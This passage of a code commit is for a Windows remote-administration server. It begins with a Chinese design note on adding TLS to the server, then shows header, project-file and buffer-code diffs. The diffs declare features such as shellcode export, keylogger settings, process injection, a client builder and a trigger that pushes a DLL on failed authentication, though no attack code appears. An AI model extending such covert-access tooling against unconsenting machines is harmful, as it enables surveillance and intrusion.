- **TLS 提供**:机密性、完整性、服务端身份(客户端校验)、抗重放(TLS record 序号 + nonce)。对 TLS 客户端而言,Measure 1(真加密 + 防重放)达成,与 Go 端一致。
- **TLS 不提供**(单向):客户端身份——仍由隧道内登录承担。
- **服务端 fail-closed**:服务端收到 TLS ClientHello 但自身未配证书/身份加载失败 → **直接关连接**,禁止把 TLS 字节当协议去解析(否则新客户端握手失败重试 + 服务端狂报解析错)。与客户端 fail-closed 语义对称(见上游 §6.4)。
- **握手 DoS**:TLS 握手有 CPU 开销,须受 per-IP 限流(现有)保护;方案 A 的短命握手线程还须加握手超时(`SSPI` 握手期间设 socket 收发超时,超时关连接)。
- **部署顺序**(关键):**MFC 服务端证书必须与客户端 CA 一起(或先于)上线**。否则「新客户端(已钉 CA)连旧 MFC 服务端(无证书)」→ 客户端 fail-closed 直接拒绝,表现为「升级客户端后连不上老服务端」。这是设计使然,部署/文档须写明。
- **私钥安全**:服务器私钥只在握手时由 Schannel 内部签名使用(ECDHE)或解密预主密钥(RSA),不参与业务数据加解密;私钥文件应最小权限存放、不落日志。真正的长期秘密(CA 私钥)平时离线,仅在签发/轮换服务器证书时使用。
## 9. 部署与运维
生成服务端身份(与 Go 端 §9.1 的 `server.crt` + `server.key` 完全同一对密钥;私钥须 PKCS#8):
```bash
# 若私钥是 PKCS#1(-----BEGIN RSA/EC PRIVATE KEY-----),先转 PKCS#8:
openssl pkcs8 -topk8 -nocrypt -in server.key -out server.key
```
MFC 服务端配置(直接指向与 Go 端相同的 PEM 文件):
```ini
[tls]
Enabled = 1
CertPath = C:\YAMA\server.crt
KeyPath = C:\YAMA\server.key
```
重启 MFC 服务端即生效(本次仅启动时读一次,热切换待未来 UI)。删除 `[tls]` 节或置 `Enabled=0` 即回纯明文。
## 10. 测试计划
1. **嗅探单元**:`0x16 0x03 .. 0x01`(TLS 1.2/1.3 ClientHello)/ 明文首包 / 混淆头(首两字节 `0x16 0x03` 但 `b[5]!=0x01`)/ 首包 <6 字节分片 的判定。
2. **TLS 未配置**:`Enabled=0` 或无证书 → 纯明文,行为与现状一致(老 + 新无证书客户端回归)。
3. **明文回归**:老客户端全链路(登录/屏幕/终端/文件)不回归。
4. **TLS 加密**:新客户端(有证书)连 MFC 服务端 → 握手成功,登录/屏幕/终端/文件子连接全部在 TLS 内跑通;抓包确认 payload 不可读。
5. **混合并发**:明文与 TLS 客户端同时在线,互不干扰(对应未来过渡期)。
6. **fail-closed 双向**:① 服务端未配证书但收到 ClientHello → 关连接不误解析;② 客户端有证书但服务端证书不匹配 → 客户端断开不回退明文。
7. **握手超时 / 限流**:恶意慢握手被超时 + per-IP 限流压制。
8. **连接复用**:一条 TLS 连接断开后,context 回池再被明文连接复用,TLS 状态已复位、无泄漏(§5.7)。
## 11. 分期与回滚
- **本期(MFC 服务端传输加密,已实施)**:`ServerTlsIdentity`(PEM+CNG 加载)+ `CONTEXT_OBJECT` 字段(`tlsState` 枚举)+ 嗅探/预分类 + 握手(方案 A)+ ①收包解密 + ②发包加密 + 生命周期复位。可独立验证——用 `openssl s_client` 或复用 Go 端测试客户端联调,无需真实客户端配合。
- **后续 A(UI)**:MCP 式配置对话框 + 重载 `ServerTlsIdentity`。
- **后续 B(下发/撤销指令)**:服务端指令通道 + **客户端热切换**(客户端 `TlsEnabled()` 改指令驱动,见 §7)。
- **回滚**:服务端 `[tls] Enabled=0` 即回纯明文,无需改客户端(客户端无证书时本就明文)。
## 12. 已拍板决策与仍待定问题
**已拍板(2026-10-14)**:
1. **握手方案**:采用 **方案 A(专用阻塞线程)**,见 §5.3。
2. **身份文件格式**:采用 **PEM + CNG(`CertPath` + `KeyPath`,私钥 PKCS#8)**,与 Go 服务端共用同一对密钥,见 §5.6。
3. **配置节名**:新建 **`[tls]` 节**,键 `Enabled` / `CertPath` / `KeyPath`,见 §4.1。
**仍待定**:
1. **KCP/UDP 传输是否也要 TLS**:本期不含,另行评估。
2. **MFC 的 MCP 式配置 UI**:显式排除,见 §7;落地时只碰 §4.2 第 1/2 点。
Binary file not shown.
File diff suppressed because it is too large. Load diff
+49 -2
View File
@@ -6,6 +6,7 @@
#include "TrueColorToolBar.h" #include "TrueColorToolBar.h"
#include "IOCPServer.h" #include "IOCPServer.h"
#include <common/location.h> #include <common/location.h>
#include "common/commands.h"
#include <map> #include <map>
#include <unordered_map> #include <unordered_map>
#include <mutex> #include <mutex>
@@ -108,6 +109,13 @@ bool SupportsFileTransferV2(context* ctx);
// 找不到主连接或老客户端:默认 CP936(覆盖 95% 简中/英语 ASCII 老客户端)。 // 找不到主连接或老客户端:默认 CP936(覆盖 95% 简中/英语 ASCII 老客户端)。
UINT GetClientEncoding(context* ctx); UINT GetClientEncoding(context* ctx);
// 获取客户端「进程名/路径」编码 (CP_UTF8 或 936)。
// 与 GetClientEncoding 不同:Windows 客户端的进程名/路径由 A 接口
// (Process32FirstA / QueryFullProcessImageNameA 等)生成,恒为客户端系统
// ANSI(简中=GBK/936),不随 CLIENT_CAP_UTF8 转 UTF-8;仅 LNX/MAC 走 UTF-8。
// 与 McpServer::BuildListProcesses 的判定保持一致。
UINT GetProcessListEncoding(context* ctx);
// 服务端待续传的传输信息 // 服务端待续传的传输信息
struct PendingTransferV2 { struct PendingTransferV2 {
uint64_t clientID; uint64_t clientID;
@@ -215,6 +223,9 @@ public:
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
CString ver, CString startTime, std::vector<std::string>& v, CONTEXT_OBJECT* ContextObject); CString ver, CString startTime, std::vector<std::string>& v, CONTEXT_OBJECT* ContextObject);
VOID ShowMessage(CString strType, CString strMsg); VOID ShowMessage(CString strType, CString strMsg);
// 消息中含 UTF-8(如地理位置)时使用:消息列经 LVM_SETITEMTEXTW 写宽字符串,
// 避免 UTF-8 在 ANSI 日志列表里被按 GBK 显示成乱码(Böblingen → B枚blingen)。
VOID ShowMessageW(const CStringW& strType, const CStringW& strMsg);
VOID CreatStatusBar(); VOID CreatStatusBar();
VOID CreateToolBar(); VOID CreateToolBar();
VOID CreateNotifyBar(); VOID CreateNotifyBar();
@@ -232,9 +243,10 @@ public:
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired) // 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
// expired=true 表示签名有效但已过期(可用于续期) // expired=true 表示签名有效但已过期(可用于续期)
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳) // source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
// sender: 发送方连接上下文(授权失败触发器下发 DLL 用),TOKEN_AUTH 路径可为 nullptr
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn, std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip, const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
const char* source = "AUTH"); const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr);
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m); BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = ""); void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files, void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
@@ -328,6 +340,29 @@ public:
void LoadThumbnailSettingsFromCfg(); // 从 THIS_CFG 读到 m_ThumbnailCfg void LoadThumbnailSettingsFromCfg(); // 从 THIS_CFG 读到 m_ThumbnailCfg
void SaveThumbnailSettingsToCfg() const; // m_ThumbnailCfg 落盘到 THIS_CFG void SaveThumbnailSettingsToCfg() const; // m_ThumbnailCfg 落盘到 THIS_CFG
void TickThumbnailRefresh(); // TIMER_THUMBNAIL_REFRESH 主循环 void TickThumbnailRefresh(); // TIMER_THUMBNAIL_REFRESH 主循环
// ===== 远程桌面质量等级配置(6 档 QualityProfile) =====
// 主控端 UI 偏好,持久化走 THIS_CFG [quality] 节。服务端权威,经 CMD_QUALITY_PROFILES
// 下发给客户端。仅 UI 线程访问;修改后需重开远程桌面会话才对新连接生效。
QualityProfile m_QualityProfiles[QUALITY_COUNT];
void LoadQualityProfilesFromCfg(); // 从 THIS_CFG 读到 m_QualityProfiles(缺省回落 GetQualityProfile)
void SaveQualityProfilesToCfg() const; // m_QualityProfiles 落盘到 THIS_CFG
const QualityProfile& GetQualityProfileCfg(int level) const; // 供 ScreenSpyDlg 下发用
void OnQualityLevels(); // 高级→远程桌面质量等级
// ===== 屏幕预览质量等级配置(6 档 PreviewProfile) =====
// 双击主机单发预览 / 循环快照浮窗所用。持久化走 THIS_CFG [preview] 节。
// 仅 UI 线程访问;修改后下次发预览请求即生效。
PreviewProfile m_PreviewProfiles[QUALITY_COUNT];
void LoadPreviewProfilesFromCfg(); // 从 THIS_CFG 读到 m_PreviewProfiles(缺省回落 GetScreenPreviewProfile)
void SavePreviewProfilesToCfg() const; // m_PreviewProfiles 落盘到 THIS_CFG
const PreviewProfile& GetPreviewProfileCfg(int level) const; // 供 ChooseScreenPreviewParams 用
void OnPreviewLevels(); // 高级→屏幕预览质量等级
// ===== 文件传输速度配置([transfer] 节,ChunkKb / DurationMs) =====
// 主控端 UI 偏好,持久化走 THIS_CFG。上传方向读 THIS_CFG(重启主控端生效);
// 下载方向随 MasterSettings 下发(新连接登录即收到,改档后立即推送给在线客户端)。
void OnFileTransferSpeed(); // 高级→文件传输速度
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求 void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes); void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
void ClearThumbnailCacheEntry(uint64_t clientID); void ClearThumbnailCacheEntry(uint64_t clientID);
@@ -406,7 +441,7 @@ public:
bool IsDllRequestLimited(const std::string& ip); bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip); void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu; CMenu m_MainMenu;
CBitmap m_bmOnline[66]; CBitmap m_bmOnline[71];
uint64_t m_superID; uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds; std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList; FileTransformCmd m_CmdList;
@@ -491,6 +526,13 @@ public:
// 由 m_cs 保护。 // 由 m_cs 保护。
std::map<uint64_t, std::wstring> m_ActiveWndW; std::map<uint64_t, std::wstring> m_ActiveWndW;
afx_msg void OnOnlineMessage(); afx_msg void OnOnlineMessage();
afx_msg void OnChat();
afx_msg void OnMachineManager();
afx_msg void OnExperimentFileManager();
afx_msg void OnExperimentPrivateScreen();
afx_msg void OnExperimentDrawingBoard();
afx_msg void OnExperimentTlsEnable();
afx_msg void OnExperimentTlsDisable();
afx_msg void OnOnlineDelete(); afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate(); afx_msg void OnOnlineUpdate();
afx_msg void OnAbout(); afx_msg void OnAbout();
@@ -588,6 +630,7 @@ public:
afx_msg void OnMsglogLoginNotify(); afx_msg void OnMsglogLoginNotify();
afx_msg void OnMsglogBanIP(); afx_msg void OnMsglogBanIP();
afx_msg void OnMsglogUnbanIP(); afx_msg void OnMsglogUnbanIP();
afx_msg void OnMsglogWhitelistIP();
afx_msg void OnOnlineAddWatch(); afx_msg void OnOnlineAddWatch();
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin(); afx_msg void OnOnlineRunAsAdmin();
@@ -621,6 +664,7 @@ public:
afx_msg void OnToolPluginSettings(); afx_msg void OnToolPluginSettings();
afx_msg void OnTriggerSettings(); afx_msg void OnTriggerSettings();
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx); void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx);
afx_msg void OnShellcodeAesCArray(); afx_msg void OnShellcodeAesCArray();
afx_msg void OnParamKblogger(); afx_msg void OnParamKblogger();
afx_msg void OnOnlineInjNotepad(); afx_msg void OnOnlineInjNotepad();
@@ -655,6 +699,8 @@ public:
afx_msg void OnCancelShare(); afx_msg void OnCancelShare();
afx_msg void OnWebRemoteControl(); afx_msg void OnWebRemoteControl();
afx_msg void OnMcpSettings(); afx_msg void OnMcpSettings();
afx_msg void OnTlsCertificate();
afx_msg void OnConnectionManage();
afx_msg void OnProxyPortAutorun(); afx_msg void OnProxyPortAutorun();
afx_msg void OnScreenpreviewLoop(); afx_msg void OnScreenpreviewLoop();
afx_msg void OnMenuCompress(); afx_msg void OnMenuCompress();
@@ -669,5 +715,6 @@ public:
afx_msg void OnOnlineClientLog(); afx_msg void OnOnlineClientLog();
afx_msg void OnOnlineHistoryActivity(); afx_msg void OnOnlineHistoryActivity();
afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam);
afx_msg void OnOnlineForbidden(); afx_msg void OnOnlineForbidden();
}; };
@@ -266,6 +266,7 @@
<None Include="res\Cur\MutiDrag.cur" /> <None Include="res\Cur\MutiDrag.cur" />
<None Include="res\My2015Remote.rc2" /> <None Include="res\My2015Remote.rc2" />
<None Include="res\web\fit.min.js" /> <None Include="res\web\fit.min.js" />
<None Include="res\web\opus-decoder.min.js" />
<None Include="res\web\xterm.css" /> <None Include="res\web\xterm.css" />
<None Include="res\web\xterm.min.js" /> <None Include="res\web\xterm.min.js" />
<None Include="stub2\stub32.bin" /> <None Include="stub2\stub32.bin" />
@@ -328,12 +329,14 @@
<ClInclude Include="LangManager.h" /> <ClInclude Include="LangManager.h" />
<ClInclude Include="McpServer.h" /> <ClInclude Include="McpServer.h" />
<ClInclude Include="McpSettingsDlg.h" /> <ClInclude Include="McpSettingsDlg.h" />
<ClInclude Include="TlsCertificateDlg.h" />
<ClInclude Include="NetworkDlg.h" /> <ClInclude Include="NetworkDlg.h" />
<ClInclude Include="NotifyConfig.h" /> <ClInclude Include="NotifyConfig.h" />
<ClInclude Include="NotifyManager.h" /> <ClInclude Include="NotifyManager.h" />
<ClInclude Include="NotifySettingsDlg.h" /> <ClInclude Include="NotifySettingsDlg.h" />
<ClInclude Include="FeatureLimitsDlg.h" /> <ClInclude Include="FeatureLimitsDlg.h" />
<ClInclude Include="FrpsForSubDlg.h" /> <ClInclude Include="FrpsForSubDlg.h" />
<ClInclude Include="ShareHostDlg.h" />
<ClInclude Include="PluginSettingsDlg.h" /> <ClInclude Include="PluginSettingsDlg.h" />
<ClInclude Include="PreviewTipWnd.h" /> <ClInclude Include="PreviewTipWnd.h" />
<ClInclude Include="TriggerSettingsDlg.h" /> <ClInclude Include="TriggerSettingsDlg.h" />
@@ -348,7 +351,9 @@
<ClInclude Include="ScreenSpyDlg.h" /> <ClInclude Include="ScreenSpyDlg.h" />
<ClInclude Include="SearchBarDlg.h" /> <ClInclude Include="SearchBarDlg.h" />
<ClInclude Include="Server.h" /> <ClInclude Include="Server.h" />
<ClInclude Include="ServerTlsSession.h" />
<ClInclude Include="ServicesDlg.h" /> <ClInclude Include="ServicesDlg.h" />
<ClInclude Include="ConnectionsDlg.h" />
<ClInclude Include="SettingDlg.h" /> <ClInclude Include="SettingDlg.h" />
<ClInclude Include="ShellDlg.h" /> <ClInclude Include="ShellDlg.h" />
<ClInclude Include="TerminalDlg.h" /> <ClInclude Include="TerminalDlg.h" />
@@ -393,6 +398,7 @@
<ClCompile Include="HostJson.cpp" /> <ClCompile Include="HostJson.cpp" />
<ClCompile Include="McpServer.cpp" /> <ClCompile Include="McpServer.cpp" />
<ClCompile Include="McpSettingsDlg.cpp" /> <ClCompile Include="McpSettingsDlg.cpp" />
<ClCompile Include="TlsCertificateDlg.cpp" />
<ClCompile Include="..\..\client\MemoryModule.c"> <ClCompile Include="..\..\client\MemoryModule.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
@@ -454,6 +460,7 @@
<ClCompile Include="ZstaPickerDlg.cpp" /> <ClCompile Include="ZstaPickerDlg.cpp" />
<ClCompile Include="IOCPKCPServer.cpp" /> <ClCompile Include="IOCPKCPServer.cpp" />
<ClCompile Include="IOCPServer.cpp" /> <ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="ServerTlsSession.cpp" />
<ClCompile Include="IOCPUDPServer.cpp" /> <ClCompile Include="IOCPUDPServer.cpp" />
<ClCompile Include="IPHistoryDlg.cpp" /> <ClCompile Include="IPHistoryDlg.cpp" />
<ClCompile Include="KeyBoardDlg.cpp" /> <ClCompile Include="KeyBoardDlg.cpp" />
@@ -462,6 +469,7 @@
<ClCompile Include="NotifySettingsDlg.cpp" /> <ClCompile Include="NotifySettingsDlg.cpp" />
<ClCompile Include="FeatureLimitsDlg.cpp" /> <ClCompile Include="FeatureLimitsDlg.cpp" />
<ClCompile Include="FrpsForSubDlg.cpp" /> <ClCompile Include="FrpsForSubDlg.cpp" />
<ClCompile Include="ShareHostDlg.cpp" />
<ClCompile Include="Loader.c"> <ClCompile Include="Loader.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
@@ -481,6 +489,7 @@
<ClCompile Include="ScreenSpyDlg.cpp" /> <ClCompile Include="ScreenSpyDlg.cpp" />
<ClCompile Include="SearchBarDlg.cpp" /> <ClCompile Include="SearchBarDlg.cpp" />
<ClCompile Include="ServicesDlg.cpp" /> <ClCompile Include="ServicesDlg.cpp" />
<ClCompile Include="ConnectionsDlg.cpp" />
<ClCompile Include="SettingDlg.cpp" /> <ClCompile Include="SettingDlg.cpp" />
<ClCompile Include="ShellDlg.cpp" /> <ClCompile Include="ShellDlg.cpp" />
<ClCompile Include="TerminalDlg.cpp" /> <ClCompile Include="TerminalDlg.cpp" />
@@ -521,6 +530,8 @@
<Image Include="res\Bitmap\BrowseWnd.bmp" /> <Image Include="res\Bitmap\BrowseWnd.bmp" />
<Image Include="res\Bitmap\CancelShare.bmp" /> <Image Include="res\Bitmap\CancelShare.bmp" />
<Image Include="res\Bitmap\ClientLog.bmp" /> <Image Include="res\Bitmap\ClientLog.bmp" />
<Image Include="res\Bitmap\DrawingBoard.bmp" />
<Image Include="res\Bitmap\FileManager.bmp" />
<Image Include="res\Bitmap\Forbidden.bmp" /> <Image Include="res\Bitmap\Forbidden.bmp" />
<Image Include="res\bitmap\compress.bmp" /> <Image Include="res\bitmap\compress.bmp" />
<Image Include="res\Bitmap\Copy.bmp" /> <Image Include="res\Bitmap\Copy.bmp" />
@@ -556,6 +567,7 @@
<Image Include="res\Bitmap\PluginConfig.bmp" /> <Image Include="res\Bitmap\PluginConfig.bmp" />
<Image Include="res\Bitmap\PortProxyAuto.bmp" /> <Image Include="res\Bitmap\PortProxyAuto.bmp" />
<Image Include="res\Bitmap\PortProxyStd.bmp" /> <Image Include="res\Bitmap\PortProxyStd.bmp" />
<Image Include="res\Bitmap\PrivacyShield.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" /> <Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\proxy.bmp" /> <Image Include="res\Bitmap\proxy.bmp" />
<Image Include="res\Bitmap\Reboot.bmp" /> <Image Include="res\Bitmap\Reboot.bmp" />
@@ -580,6 +592,7 @@
<Image Include="res\chat.ico" /> <Image Include="res\chat.ico" />
<Image Include="res\ClientLog.ico" /> <Image Include="res\ClientLog.ico" />
<Image Include="res\cmdshell.ico" /> <Image Include="res\cmdshell.ico" />
<Image Include="res\connections.ico" />
<Image Include="res\decrypt.ico" /> <Image Include="res\decrypt.ico" />
<Image Include="res\DrawingBoard.ico" /> <Image Include="res\DrawingBoard.ico" />
<Image Include="res\dword.ico" /> <Image Include="res\dword.ico" />
@@ -21,6 +21,7 @@
<ClCompile Include="InputDlg.cpp" /> <ClCompile Include="InputDlg.cpp" />
<ClCompile Include="ZstaPickerDlg.cpp" /> <ClCompile Include="ZstaPickerDlg.cpp" />
<ClCompile Include="IOCPServer.cpp" /> <ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="ServerTlsSession.cpp" />
<ClCompile Include="KeyBoardDlg.cpp" /> <ClCompile Include="KeyBoardDlg.cpp" />
<ClCompile Include="Loader.c" /> <ClCompile Include="Loader.c" />
<ClCompile Include="proxy\ProxyConnectServer.cpp" /> <ClCompile Include="proxy\ProxyConnectServer.cpp" />
@@ -29,6 +30,7 @@
<ClCompile Include="RegisterDlg.cpp" /> <ClCompile Include="RegisterDlg.cpp" />
<ClCompile Include="ScreenSpyDlg.cpp" /> <ClCompile Include="ScreenSpyDlg.cpp" />
<ClCompile Include="ServicesDlg.cpp" /> <ClCompile Include="ServicesDlg.cpp" />
<ClCompile Include="ConnectionsDlg.cpp" />
<ClCompile Include="SettingDlg.cpp" /> <ClCompile Include="SettingDlg.cpp" />
<ClCompile Include="ShellDlg.cpp" /> <ClCompile Include="ShellDlg.cpp" />
<ClCompile Include="TerminalDlg.cpp" /> <ClCompile Include="TerminalDlg.cpp" />
@@ -76,6 +78,7 @@
<ClCompile Include="NotifyManager.cpp" /> <ClCompile Include="NotifyManager.cpp" />
<ClCompile Include="NotifySettingsDlg.cpp" /> <ClCompile Include="NotifySettingsDlg.cpp" />
<ClCompile Include="FrpsForSubDlg.cpp" /> <ClCompile Include="FrpsForSubDlg.cpp" />
<ClCompile Include="ShareHostDlg.cpp" />
<ClCompile Include="NetworkDlg.cpp" /> <ClCompile Include="NetworkDlg.cpp" />
<ClCompile Include="IPHistoryDlg.cpp" /> <ClCompile Include="IPHistoryDlg.cpp" />
<ClCompile Include="FeatureLimitsDlg.cpp" /> <ClCompile Include="FeatureLimitsDlg.cpp" />
@@ -87,6 +90,7 @@
<ClCompile Include="HostJson.cpp" /> <ClCompile Include="HostJson.cpp" />
<ClCompile Include="McpServer.cpp" /> <ClCompile Include="McpServer.cpp" />
<ClCompile Include="McpSettingsDlg.cpp" /> <ClCompile Include="McpSettingsDlg.cpp" />
<ClCompile Include="TlsCertificateDlg.cpp" />
<ClCompile Include="CClientLog.cpp" /> <ClCompile Include="CClientLog.cpp" />
<ClCompile Include="CActivityDialog.cpp" /> <ClCompile Include="CActivityDialog.cpp" />
<ClCompile Include="LogSearchBar.cpp" /> <ClCompile Include="LogSearchBar.cpp" />
@@ -127,6 +131,7 @@
<ClInclude Include="Resource.h" /> <ClInclude Include="Resource.h" />
<ClInclude Include="ScreenSpyDlg.h" /> <ClInclude Include="ScreenSpyDlg.h" />
<ClInclude Include="ServicesDlg.h" /> <ClInclude Include="ServicesDlg.h" />
<ClInclude Include="ConnectionsDlg.h" />
<ClInclude Include="SettingDlg.h" /> <ClInclude Include="SettingDlg.h" />
<ClInclude Include="ShellDlg.h" /> <ClInclude Include="ShellDlg.h" />
<ClInclude Include="TerminalDlg.h" /> <ClInclude Include="TerminalDlg.h" />
@@ -152,6 +157,7 @@
</ClInclude> </ClInclude>
<ClInclude Include="IOCPUDPServer.h" /> <ClInclude Include="IOCPUDPServer.h" />
<ClInclude Include="Server.h" /> <ClInclude Include="Server.h" />
<ClInclude Include="ServerTlsSession.h" />
<ClInclude Include="CDrawingBoard.h" /> <ClInclude Include="CDrawingBoard.h" />
<ClInclude Include="IOCPKCPServer.h" /> <ClInclude Include="IOCPKCPServer.h" />
<ClInclude Include="..\..\common\ikcp.h" /> <ClInclude Include="..\..\common\ikcp.h" />
@@ -181,6 +187,7 @@
<ClInclude Include="NotifyManager.h" /> <ClInclude Include="NotifyManager.h" />
<ClInclude Include="NotifySettingsDlg.h" /> <ClInclude Include="NotifySettingsDlg.h" />
<ClInclude Include="FrpsForSubDlg.h" /> <ClInclude Include="FrpsForSubDlg.h" />
<ClInclude Include="ShareHostDlg.h" />
<ClInclude Include="TerminalModuleLoader.h" /> <ClInclude Include="TerminalModuleLoader.h" />
<ClInclude Include="..\..\common\SafeString.h" /> <ClInclude Include="..\..\common\SafeString.h" />
<ClInclude Include="NetworkDlg.h" /> <ClInclude Include="NetworkDlg.h" />
@@ -197,6 +204,7 @@
<ClInclude Include="TriggerSettingsDlg.h" /> <ClInclude Include="TriggerSettingsDlg.h" />
<ClInclude Include="McpServer.h" /> <ClInclude Include="McpServer.h" />
<ClInclude Include="McpSettingsDlg.h" /> <ClInclude Include="McpSettingsDlg.h" />
<ClInclude Include="TlsCertificateDlg.h" />
<ClInclude Include="CClientLog.h" /> <ClInclude Include="CClientLog.h" />
<ClInclude Include="CActivityDialog.h" /> <ClInclude Include="CActivityDialog.h" />
<ClInclude Include="LogSearchBar.h" /> <ClInclude Include="LogSearchBar.h" />
@@ -230,6 +238,7 @@
<None Include="res\web\xterm.min.js" /> <None Include="res\web\xterm.min.js" />
<None Include="res\web\xterm.css" /> <None Include="res\web\xterm.css" />
<None Include="res\web\fit.min.js" /> <None Include="res\web\fit.min.js" />
<None Include="res\web\opus-decoder.min.js" />
<None Include="..\web\index.html" /> <None Include="..\web\index.html" />
<None Include="stub2\stub32.bin" /> <None Include="stub2\stub32.bin" />
<None Include="stub2\stub64.bin" /> <None Include="stub2\stub64.bin" />
@@ -262,6 +271,7 @@
<Image Include="res\screen.ico" /> <Image Include="res\screen.ico" />
<Image Include="res\machine.ico" /> <Image Include="res\machine.ico" />
<Image Include="res\system.ico" /> <Image Include="res\system.ico" />
<Image Include="res\connections.ico" />
<Image Include="res\chat.ico" /> <Image Include="res\chat.ico" />
<Image Include="res\decrypt.ico" /> <Image Include="res\decrypt.ico" />
<Image Include="res\file\FILE.ico" /> <Image Include="res\file\FILE.ico" />
@@ -346,5 +356,8 @@
<Image Include="res\Bitmap\HistoryActivity.bmp" /> <Image Include="res\Bitmap\HistoryActivity.bmp" />
<Image Include="res\Bitmap\BrowseWnd.bmp" /> <Image Include="res\Bitmap\BrowseWnd.bmp" />
<Image Include="res\Bitmap\PortProxyAuto.bmp" /> <Image Include="res\Bitmap\PortProxyAuto.bmp" />
<Image Include="res\Bitmap\FileManager.bmp" />
<Image Include="res\Bitmap\PrivacyShield.bmp" />
<Image Include="res\Bitmap\DrawingBoard.bmp" />
</ItemGroup> </ItemGroup>
</Project> </Project>
+17
View File
@@ -337,3 +337,20 @@ VOID CBuffer::CommitWrite(ULONG writtenSize)
m_Ptr += writtenSize; m_Ptr += writtenSize;
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
} }
// 截断缓冲区到指定有效长度(仅回退写指针,不移动/释放底层内存)。有效长度指「当前读取
// 位置之后的字节数」,与 GetBufferLength 一致;请求值超出现有有效长度时收敛到现有长度。
VOID CBuffer::TruncateBuffer(ULONG effectiveLen)
{
EnterCriticalSection(&m_cs);
if (m_Base == NULL) {
LeaveCriticalSection(&m_cs);
return;
}
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
ULONG cur = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
if (effectiveLen > cur)
effectiveLen = cur;
m_Ptr = m_Base + m_ulReadOffset + effectiveLen;
LeaveCriticalSection(&m_cs);
}
+5
View File
@@ -130,6 +130,11 @@ public:
// 确认写入完成,更新内部指针 // 确认写入完成,更新内部指针
VOID CommitWrite(ULONG writtenSize); VOID CommitWrite(ULONG writtenSize);
// 截断缓冲区到指定有效长度(仅回退写指针,不移动/释放底层内存)。用于「尾部明文替换为
// 密文」:TLS 下 OutCompressedBuffer 追加明文后需换回密文,用此接口避免 ClearBuffer 的
// DeAllocateBuffer 释放正在被异步 WSASend 引用的底层内存。
VOID TruncateBuffer(ULONG effectiveLen);
protected: protected:
PBYTE m_Base; PBYTE m_Base;
PBYTE m_Ptr; PBYTE m_Ptr;
+1 -1
View File
@@ -217,7 +217,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
, m_strPort(_T("")) , m_strPort(_T(""))
, m_strFindden(FLAG_FINDEN) , m_strFindden(FLAG_FINDEN)
, m_sGroupName(_T("default")) , m_sGroupName(_T("default"))
, m_strEncryptIP(_T("是")) , m_strEncryptIP(_L(_T("是")))
, m_sInstallDir(_T("")) , m_sInstallDir(_T(""))
, m_sInstallName(_T("")) , m_sInstallName(_T(""))
, m_sDownloadUrl(_T("")) , m_sDownloadUrl(_T(""))
+26 -4
View File
@@ -5,6 +5,7 @@
#include "afxdialogex.h" #include "afxdialogex.h"
#include "CClientListDlg.h" #include "CClientListDlg.h"
#include "2015Remote.h" #include "2015Remote.h"
